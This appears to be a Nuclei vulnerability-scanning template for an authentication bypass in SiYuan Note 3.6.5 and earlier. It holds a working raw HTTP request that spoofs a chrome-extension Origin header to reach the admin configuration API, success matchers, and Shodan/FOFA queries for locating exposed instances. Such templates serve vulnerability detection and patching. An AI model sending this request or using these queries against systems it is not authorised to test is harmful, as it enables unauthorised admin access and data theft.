SiYuan Note 3.6.5 and prior is vulnerable to authentication bypass. The CheckAuth middleware unconditionally trusted all chrome-extension:// origins, granting RoleAdministrator access without token validation to any request with a spoofed Origin header. Fixed in v3.7.0.
PoC
id: CVE-2026-54069
info:
name: SiYuan Note <= 3.6.5 - Authentication Bypass
author: 0x_Akoko
severity: high
description: |
SiYuan Note 3.6.5 and prior is vulnerable to authentication bypass. The CheckAuth middleware unconditionally trusted all chrome-extension:// origins, granting RoleAdministrator access without token validation to any request with a spoofed Origin header. Fixed in v3.7.0.
impact: |
Attackers can access all admin API endpoints, enabling full data exfiltration, stored XSS injection, and configuration tampering.
remediation: |
Update to SiYuan Note v3.7.0 or later.
reference:
- https://github.com/siyuan-note/siyuan/security/advisories/GHSA-hvr9-72v2-fff3
- https://nvd.nist.gov/vuln/detail/CVE-2026-54069
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
cvss-score: 9.1
cve-id: CVE-2026-54069
epss-score: 0.00579
epss-percentile: 0.4612
cwe-id: CWE-346
metadata:
verified: false
max-request: 1
vendor: siyuan-note
product: siyuan
shodan-query: title:"SiYuan"
fofa-query: title="SiYuan" || body="siyuan"
tags: cve,cve2026,siyuan,auth-bypass,unauth
http:
- raw:
- |
POST /api/system/getConf HTTP/1.1
Host: {{Hostname}}
Origin: chrome-extension://auth-test
Content-Type: application/json
{}
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(content_type, "application/json")'
- 'contains(body, "\"code\":0")'
- 'contains_all(body, "\"conf\"", "\"system\"", "\"kernelVersion\"")'
condition: and
# digest: 490a00463044022048ed3a709d59e705c31bcc6cf708ab9a44d5061f9b190dff8c7f6be0d5b7f6880220550f103d1baf9291fabf03981dfb99eb514d54a3d4d3b93a63e4fe1f6bf0413f:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.